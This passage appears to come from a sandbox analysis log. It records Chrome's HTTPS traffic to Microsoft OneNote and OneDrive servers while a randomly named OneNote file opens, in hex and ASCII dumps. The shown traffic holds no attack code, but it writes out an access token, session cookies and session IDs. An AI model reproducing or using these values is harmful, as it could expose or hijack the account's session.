2024-10-25 08:18:47 UTC	700	OUT	Data Raw: 7b 22 54 22 3a 31 37 32 39 38 34 34 33 32 35 39 37 36 2c 22 4c 22 3a 5b 7b 22 47 22 3a 35 32 31 31 36 34 32 33 38 2c 22 54 22 3a 34 2c 22 4d 22 3a 22 4f 6e 65 4e 6f 74 65 4a 73 41 70 69 56 32 47 61 74 65 3a 20 44 69 73 61 62 6c 65 64 22 2c 22 43 22 3a 33 30 32 37 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 37 36 35 37 38 35 38 34 2c 22 54 22 3a 34 2c 22 4d 22 3a 22 4c 65 61 6e 20 55 69 20 48 6f 73 74 3a 20 62 6f 6f 74 41 70 70 22 2c 22 43 22 3a 33 30 32 37 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 34 36 31 38 32 30 34 38 2c 22 54 22 3a 34 2c 22 4d 22 3a 22 42 6f 6f 74 41 70 70 3a 20 4c 6f 61 64 20 64 6f 63 75 6d 65 6e 74 20 72 65 74 75 72 6e 65 64 22 2c 22 43 22 3a 33 30 32 37 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 35 33 37 32 36 32 38 35 2c 22 Data Ascii: {"T":1729844325976,"L":[{"G":521164238,"T":4,"M":"OneNoteJsApiV2Gate: Disabled","C":3027,"D":50},{"G":576578584,"T":4,"M":"Lean Ui Host: bootApp","C":3027,"D":50},{"G":546182048,"T":4,"M":"BootApp: Load document returned","C":3027,"D":50},{"G":553726285,"
2024-10-25 08:18:47 UTC	4595	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: Set-Cookie: PUS11-ARRAffinity=10bd8af04c8343026a510214a1dab485a6c47e3c6c1c8f53480acbb2c880b54b;Path=/;Domain=common.online.office.com; samesite=none; secure; partitioned; httponly X-CorrelationId: 4ba11111-634a-4dc2-8053-acadd90c4424 X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 X-OfficeFE: SN3PEPF00017D6D X-OfficeVersion: 16.0.18218.41000 X-OfficeCluster: PUS11 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://onedrive.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: C78C301AFEA9348D5ECE9A0B93BE4D1DAB74B6B1 X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19243470,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,25531993,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42513088,42815875,42857251,50406866,50431969,50622685,51451613,51504083,51667010,84165957,306230 [TRUNCATED] X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF00017AFC X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,2oge=afd_wordcapacity_3_control,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_visioslice_control,afd_pptcapacity_2_control,afd_wacinfra4,afd_wacinfra5,afd_wordcapacity_3_control,afd_excelslicetest_control X-MSEdge-Ref: Ref A: B53511067E8645EF81EC0ADB4A4CCF2C Ref B: DFW311000105035 Ref C: 2024-10-25T08:18:47Z Date: Fri, 25 Oct 2024 08:18:46 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49762	52.108.9.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:18:48 UTC	1654	OUT	POST /o/onenoteframe.aspx?edit=0&ui=en-US&rs=en-US&hid=iOKNGkkbsUOppGAVudDD%2FQ.0.13.0&wopisrc=https%3A%2F%2Fwopi.onedrive.com%2Fwopi%2Ffolders%2FA2C259BD24DEB977!1517&wd=target%28Quick%20Notes.one%7C8266a05f-045a-4cc0-bddc-4debc90069bb%2FNotera%20H6TYD9J4rDFDFECZC-HUYW%7Ca949d04d-b4e2-4509-b99f-d04546199b7b%2F%29&wdorigin=NavigationUrl&wdo=2&sc=host%3D%26qt%3DDefault&wdp=7&uih=onedrivecom&dchat=1&mscc=1&wdhostclicktime=1729844316523&jsapi=1&jsapiver=v1&newsession=1&corrid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=editaspx&muv=1&wdredirectionreason=Force_SingleStepBoot HTTP/1.1 Host: onenote.officeapps.live.com Connection: keep-alive Content-Length: 6628 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://onedrive.live.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: iframe Referer: https://onedrive.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=
2024-10-25 08:18:48 UTC	6628	OUT	Data Raw: 61 63 63 65 73 73 5f 74 6f 6b 65 6e 3d 34 77 6a 50 68 48 42 48 30 6e 6c 72 42 6c 79 6d 37 66 39 75 74 68 73 6f 34 46 37 36 50 43 54 71 79 53 34 72 31 70 43 34 46 31 6b 32 6b 34 47 46 33 4b 68 76 36 77 42 36 56 63 32 66 66 52 43 30 4d 7a 4a 49 6b 33 6a 48 76 64 6c 71 6a 6d 4c 49 46 6d 4e 4c 4a 58 69 6f 49 77 67 45 76 65 66 36 51 34 71 65 72 47 55 78 76 73 75 69 5a 5a 57 70 63 4f 49 6f 5a 61 56 4a 4b 58 71 5a 62 46 36 75 30 41 34 61 42 39 51 4c 74 33 42 35 38 6d 37 55 34 43 74 58 41 6d 43 77 26 61 63 63 65 73 73 5f 74 6f 6b 65 6e 5f 74 74 6c 3d 31 37 33 30 30 31 37 31 32 32 33 36 34 26 66 69 6c 65 4e 61 6d 65 3d 4e 6f 74 65 72 61 2b 48 36 54 59 44 39 4a 34 72 44 46 44 46 45 43 5a 43 2d 48 55 59 57 26 66 69 6c 65 53 69 7a 65 3d 35 37 34 35 30 26 73 63 3d 68 Data Ascii: access_token=4wjPhHBH0nlrBlym7f9uthso4F76PCTqyS4r1pC4F1k2k4GF3Khv6wB6Vc2ffRC0MzJIk3jHvdlqjmLIFmNLJXioIwgEvef6Q4qerGUxvsuiZZWpcOIoZaVJKXqZbF6u0A4aB9QLt3B58m7U4CtXAmCw&access_token_ttl=1730017122364&fileName=Notera+H6TYD9J4rDFDFECZC-HUYW&fileSize=57450&sc=h
2024-10-25 08:18:49 UTC	6124	IN	HTTP/1.1 200 OK Cache-Control: no-cache, no-store Pragma: no-cache Transfer-Encoding: chunked Content-Type: text/html; charset=utf-8 Expires: -1 P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; path=/; samesite=none; secure; partitioned X-CorrelationId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * Origin-Trial: AtFKAQdG+ydQM/bvbc5Qxv930XARVdP6iEmsQLrizs1HYDZnXMf7/f8oOaknwmnnXoTmlFWim3Ptj/bW7MfeElEAAABteyJvcmlnaW4iOiJodHRwczovL29mZmljZWFwcHMubGl2ZS5jb206NDQzIiwiaXNTdWJkb21haW4iOnRydWUsImZlYXR1cmUiOiJIYXB0aWNzRGV2aWNlIiwiZXhwaXJ5IjoxNzQ0MzA5NDUyfQ== Origin-Trial: AhQJUzE5LCv5KHvmQov3fZhTT0W3oRbJWD7uk+pw4EemPcV5dWZzr8wiGtZj/dh81uDAw0I9lZ30j8otVRSRQwYAAABkeyJvcmlnaW4iOiJodHRwczovL29mZmljZWFwcHMubGl2ZS5jb206NDQzIiwiZmVhdHVyZSI6IlRwY2QiLCJleHBpcnkiOjE3MzUzNDM5OTksImlzU3ViZG9tYWluIjp0cnVlfQ== Origin-Agent-Cluster: ?1 X-OfficeFE: SN3PEPF00017C99 X-OfficeVersion: 16.0.18214.41004 X-OfficeCluster: PUS11 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff Content-Security-Policy-Report-Only: font-src data: 'self' c1-onenote-15.cdn.office.net .skype.com .skypeassets.com .msocdn.com sway.com .sway-cdn.com sway-cdn.com .sharepointonline.com spoprod-a.akamaihd.net .azureedge.net fs.microsoft.com .cdn.office.net res-cn.cdn.partner.office365.cn res-4.cdn.partner.office365.cn res-3.cdn.partner.office365.cn res-1-cdn.azureedge.microsoft.scloud res-1-cdn.azureedge.eaglex.ic.gov res-dev.cdn.officeppe.net res.public.onecdn.static.microsoft .microsoft.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' c1-onenote-15.cdn.office.net uci.officeapps.live.com cdn.uci.edog.officeapps.live.com cdn.uci.officeapps.live.com uci.edog.cdn.office.net uci.cdn.office.net c1-officeapps-15.cdn.office.net .skype.com .skypeassets.com .msocdn.com js.live.net appsforoffice.microsoft.com contentstorage.osi.office.net .growth.office.net *.rt.microsoft.com res-prod.cdn.office.net res.cdn.office.net messaging.office.com messaging.growth.office.com messaging.action.office.com messagin [TRUNCATED] Document-Policy: js-profiling Reporting-Endpoints: default="https://onenote.officeapps.live.com/o/BrowserReportingHandler.ashx" nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-DFW31r5a&DC=PUS11&FileSource=OneDriveWOPI"}]} server-timing: prerender;dur=6,render;dur=1,total;dur=7 X-OFFICEFD: SN3PEPF00017C99 X-WacFrontEnd: SN3PEPF00017C99 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_pptcapacity_2_control,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: CC2BDF9AEB5B48148BACDBA112EF87A4 Ref B: DFW311000102047 Ref C: 2024-10-25T08:18:48Z Date: Fri, 25 Oct 2024 08:18:48 GMT Connection: close
2024-10-25 08:18:49 UTC	3585	IN	Data Raw: 64 66 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6e 6f 6e 63 65 3d 22 22 3e 20 76 61 72 20 67 5f 66 69 72 73 74 42 79 74 65 20 3d 20 6e 65 77 20 44 61 74 65 28 29 3b 20 66 75 6e 63 74 69 6f 6e 20 68 69 67 68 52 65 73 54 69 6d 65 53 74 61 6d 70 28 29 20 7b Data Ascii: dfa<!DOCTYPE html><html><head><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta http-equiv="Content-Type" content="text/html;charset=utf-8" /><script type="text/javascript" nonce=""> var g_firstByte = new Date(); function highResTimeStamp() {
2024-10-25 08:18:49 UTC	6992	IN	Data Raw: 31 62 34 38 0d 0a 20 7b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 37 33 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 66 6c 65 78 3b 7d 20 2e 73 6b 65 6c 65 74 61 6c 53 4c 52 4e 65 77 56 69 73 75 61 6c 20 7b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 37 37 70 78 3b 74 6f 70 3a 34 38 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 7d 20 2e 73 6b 65 6c 65 74 61 6c 50 6f 73 69 74 69 6f 6e 52 65 77 72 69 74 65 52 69 62 62 6f 6e 20 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 2d 6d 73 2d 67 72 69 64 2d 63 6f 6c 75 6d 6e 3a 20 31 3b 2d 6d 73 2d 67 72 69 64 2d 63 6f 6c 75 6d 6e 2d 73 70 61 Data Ascii: 1b48 {width:100%;height:73px;position:relative;display:inline-flex;} .skeletalSLRNewVisual {width:100%;height:77px;top:48px;position:relative;display:inline-block;} .skeletalPositionRewriteRibbon {position:relative;-ms-grid-column: 1;-ms-grid-column-spa
2024-10-25 08:18:49 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 3a 66 6c 65 78 3b 7d 20 2e 73 6b 65 6c 65 74 61 6c 4f 6c 64 4e 61 76 70 61 6e 65 53 65 63 74 69 6f 6e 43 6f 6c 75 6d 6e 20 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 62 6f 72 64 65 72 3a 73 6f 6c 69 64 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 6e 6f 6e 65 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 6e 6f 6e 65 3b 6c 65 66 74 3a 31 36 70 78 3b 77 69 64 74 68 3a 31 37 37 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 74 6f 70 3a 33 37 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 7d 20 2e 73 6b 65 6c 65 74 61 6c 4e 61 76 70 61 6e 65 53 65 63 74 69 6f 6e 43 6f 6c 75 6d 6e 20 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 62 6f 72 64 65 72 3a 73 6f 6c 69 64 3b 62 6f 72 64 65 72 2d 74 6f Data Ascii: 2000:flex;} .skeletalOldNavpaneSectionColumn {display:inline-block;border:solid;border-top:none;border-bottom: none;left:16px;width:177px;height:100%;top:37px;position:absolute;} .skeletalNavpaneSectionColumn {display:inline-block;border:solid;border-to
2024-10-25 08:18:49 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 74 53 75 72 66 61 63 65 2e 63 73 73 27 20 6f 6e 6c 6f 61 64 3d 22 67 5f 63 73 73 4c 54 3d 6e 65 77 20 44 61 74 65 28 29 3b 22 20 6f 6e 65 72 72 6f 72 3d 22 5f 62 42 2e 73 65 6e 64 52 44 46 4b 70 69 28 27 68 74 74 70 73 3a 2f 2f 63 31 2d 6f 6e 65 6e 6f 74 65 2d 31 35 2e 63 64 6e 2e 6f 66 66 69 63 65 2e 6e 65 74 3a 34 34 33 2f 6f 2f 73 2f 68 38 31 36 41 30 46 34 32 41 32 42 46 34 37 33 32 5f 72 65 73 6f 75 72 63 65 73 2f 31 30 33 33 2f 45 64 69 74 53 75 72 66 61 63 65 2e 63 73 73 27 29 3b 22 2f 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 64 69 76 2e 54 61 62 6c 65 43 6f 6c 75 6d 6e 48 61 6e 64 6c 65 7b 63 75 72 73 6f 72 3a 75 72 6c 28 27 68 74 74 70 73 3a 2f 2f 63 31 2d 6f 6e 65 6e 6f 74 65 2d 31 35 2e 63 64 6e Data Ascii: 2000tSurface.css' onload="g_cssLT=new Date();" onerror="_bB.sendRDFKpi('https://c1-onenote-15.cdn.office.net:443/o/s/h816A0F42A2BF4732_resources/1033/EditSurface.css');"/><style type="text/css">div.TableColumnHandle{cursor:url('https://c1-onenote-15.cdn
2024-10-25 08:18:49 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 52 6f 62 6f 74 6f 2c 27 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 27 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 36 31 36 31 36 31 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 3b 74 65 78 74 2d 6f 76 65 72 66 6c 6f 77 3a 65 6c 6c 69 70 73 69 73 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 23 48 65 61 64 65 72 50 6c 61 63 65 68 6f 6c 64 65 72 2e 4f 6e 65 44 72 69 76 65 48 6f 73 74 20 2e 73 61 76 65 53 74 61 74 75 73 53 74 72 69 6e 67 2d 31 32 34 3a 61 66 74 65 72 7b 63 6f 6e 74 65 6e 74 3a 27 53 61 76 65 64 20 74 6f 20 4f 6e 65 44 72 69 76 65 27 7d 23 48 65 61 64 65 72 50 6c 61 63 65 68 6f 6c 64 65 72 3a 6e 6f Data Ascii: 2000-apple-system,BlinkMacSystemFont,Roboto,'Helvetica Neue',sans-serif;color:#616161;white-space:nowrap;text-overflow:ellipsis;overflow:hidden}#HeaderPlaceholder.OneDriveHost .saveStatusString-124:after{content:'Saved to OneDrive'}#HeaderPlaceholder:no
2024-10-25 08:18:49 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 69 64 3d 22 53 6b 65 6c 65 74 61 6c 52 69 62 62 6f 6e 42 61 72 22 20 63 6c 61 73 73 3d 22 73 6b 65 6c 65 74 61 6c 52 69 62 62 6f 6e 42 61 72 22 20 72 6f 6c 65 3d 22 70 72 65 73 65 6e 74 61 74 69 6f 6e 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 6b 65 6c 65 74 61 6c 52 69 62 62 6f 6e 42 6f 78 43 6f 6e 74 61 69 6e 65 72 22 20 72 6f 6c 65 3d 22 70 72 65 73 65 6e 74 61 74 69 6f 6e 22 3e 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 6b 65 6c 65 74 61 6c 52 69 62 62 6f 6e 42 6f 78 22 20 72 6f 6c 65 3d 22 70 72 65 73 65 6e 74 61 74 69 6f 6e 22 20 73 74 79 6c 65 3d 22 6c 65 66 74 3a 32 30 70 78 3b 77 69 64 74 68 3a 32 31 70 78 22 3e 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 6b 65 6c 65 74 61 6c 52 69 62 Data Ascii: 2000id="SkeletalRibbonBar" class="skeletalRibbonBar" role="presentation"><span class="skeletalRibbonBoxContainer" role="presentation"></span><span class="skeletalRibbonBox" role="presentation" style="left:20px;width:21px"></span><span class="skeletalRib
2024-10-25 08:18:49 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 31 2e 32 32 37 73 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 34 73 22 3e 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 6b 65 6c 65 74 61 6c 52 65 73 6f 75 72 63 65 4e 61 6d 65 22 20 72 6f 6c 65 3d 22 70 72 65 73 65 6e 74 61 74 69 6f 6e 22 20 73 74 79 6c 65 3d 22 74 6f 70 3a 33 37 33 70 78 3b 77 69 64 74 68 3a 36 37 70 78 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 31 2e 32 37 34 73 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 34 73 22 3e 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 6b 65 6c 65 74 61 6c 52 65 73 6f 75 72 63 65 4e 61 6d 65 22 20 72 6f 6c 65 3d 22 70 72 65 73 65 6e 74 61 74 69 6f 6e 22 20 73 74 79 6c 65 3d 22 74 Data Ascii: 2000mation-delay:1.227s;animation-duration:4s"></span><span class="skeletalResourceName" role="presentation" style="top:373px;width:67px;animation-delay:1.274s;animation-duration:4s"></span><span class="skeletalResourceName" role="presentation" style="t
2024-10-25 08:18:49 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 55 69 48 6f 73 74 56 65 72 73 69 6f 6e 5c 5c 5c 75 30 30 32 32 3a 5c 5c 5c 75 30 30 32 32 31 5c 5c 5c 75 30 30 32 32 2c 5c 5c 5c 75 30 30 32 32 4f 77 6c 56 65 72 73 69 6f 6e 5c 5c 5c 75 30 30 32 32 3a 5c 5c 5c 75 30 30 32 32 32 30 32 34 31 30 32 32 2e 34 5c 5c 5c 75 30 30 32 32 2c 5c 5c 5c 75 30 30 32 32 4f 77 6c 52 6f 6c 6c 6f 75 74 5c 5c 5c 75 30 30 32 32 3a 5c 5c 5c 75 30 30 32 32 50 52 4f 44 55 43 54 49 4f 4e 2e 35 30 5c 5c 5c 75 30 30 32 32 7d 5c 75 30 30 32 32 2c 5c 75 30 30 32 32 55 69 48 6f 73 74 49 6e 74 65 67 72 61 74 69 6f 6e 54 79 70 65 5c 75 30 30 32 32 3a 5c 75 30 30 32 32 65 64 69 74 61 73 70 78 5c 75 30 30 32 32 2c 5c 75 30 30 32 32 42 72 6f 77 73 65 72 5c 75 30 30 32 32 3a 5c 75 30 30 32 32 43 68 72 6f 6d 65 5c 75 30 30 Data Ascii: 2000UiHostVersion\\\u0022:\\\u00221\\\u0022,\\\u0022OwlVersion\\\u0022:\\\u002220241022.4\\\u0022,\\\u0022OwlRollout\\\u0022:\\\u0022PRODUCTION.50\\\u0022}\u0022,\u0022UiHostIntegrationType\u0022:\u0022editaspx\u0022,\u0022Browser\u0022:\u0022Chrome\u00
2024-10-25 08:18:49 UTC	7580	IN	Data Raw: 31 64 39 34 0d 0a 61 74 68 4d 61 6e 61 67 65 72 46 6f 72 4f 6e 65 4e 6f 74 65 49 73 45 6e 61 62 6c 65 64 3a 20 27 66 61 6c 73 65 27 2c 4f 6e 65 4e 6f 74 65 4d 6f 62 69 6c 65 41 70 70 55 70 73 65 6c 6c 49 73 45 6e 61 62 6c 65 64 3a 20 27 66 61 6c 73 65 27 2c 4f 6e 65 4e 6f 74 65 49 6e 6b 44 65 66 61 75 6c 74 43 6f 6f 6b 69 65 53 65 74 49 73 44 69 73 61 62 6c 65 64 3a 20 27 74 72 75 65 27 2c 4f 6e 65 4e 6f 74 65 4e 61 76 50 61 6e 65 43 6f 6c 6c 61 70 73 65 4f 6e 53 6d 61 6c 6c 53 63 72 65 65 6e 49 73 45 6e 61 62 6c 65 64 3a 20 27 74 72 75 65 27 2c 55 70 64 61 74 65 64 49 6e 6b 52 69 62 62 6f 6e 41 6e 69 6d 61 74 69 6f 6e 73 3a 20 27 74 72 75 65 27 2c 4f 6e 65 4e 6f 74 65 41 64 64 54 6f 44 69 63 74 69 6f 6e 61 72 79 45 6e 61 62 6c 65 64 3a 20 27 74 72 75 65 Data Ascii: 1d94athManagerForOneNoteIsEnabled: 'false',OneNoteMobileAppUpsellIsEnabled: 'false',OneNoteInkDefaultCookieSetIsDisabled: 'true',OneNoteNavPaneCollapseOnSmallScreenIsEnabled: 'true',UpdatedInkRibbonAnimations: 'true',OneNoteAddToDictionaryEnabled: 'true

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49761	52.108.9.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:18:48 UTC	841	OUT	POST /o/RemoteTelemetry.ashx?usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4 HTTP/1.1 Host: onenote.officeapps.live.com Connection: keep-alive Content-Length: 115 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://onedrive.live.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://onedrive.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=
2024-10-25 08:18:48 UTC	115	OUT	Data Raw: 7b 22 74 79 70 65 22 3a 22 4a 53 41 50 49 5f 53 54 41 54 45 22 2c 22 70 61 79 6c 6f 61 64 4a 73 6f 6e 22 3a 22 7b 5c 22 61 70 70 6c 69 63 61 74 69 6f 6e 5c 22 3a 5c 22 4f 6e 65 4e 6f 74 65 5c 22 2c 5c 22 62 75 69 6c 64 5c 22 3a 5c 22 23 23 23 56 45 52 53 49 4f 4e 23 23 23 5c 22 2c 5c 22 73 74 61 74 65 5c 22 3a 5c 22 69 6e 69 74 5c 22 7d 22 7d Data Ascii: {"type":"JSAPI_STATE","payloadJson":"{\"application\":\"OneNote\",\"build\":\"###VERSION###\",\"state\":\"init\"}"}
2024-10-25 08:18:49 UTC	1091	IN	HTTP/1.1 200 OK Cache-Control: private P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 3070e104-42fc-4ca3-94ea-bfc1418edccf X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DM3PEPF00015719 X-OfficeVersion: 16.0.18214.41004 X-OfficeCluster: PUS1 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://onedrive.live.com X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DM3PEPF00015719 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,2oge=afd_wordcapacity_3_control,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_wordcapacity_3_control,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 3C881E850041487A92E3DFCE21923060 Ref B: DFW311000102019 Ref C: 2024-10-25T08:18:48Z Date: Fri, 25 Oct 2024 08:18:48 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49763	52.108.9.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
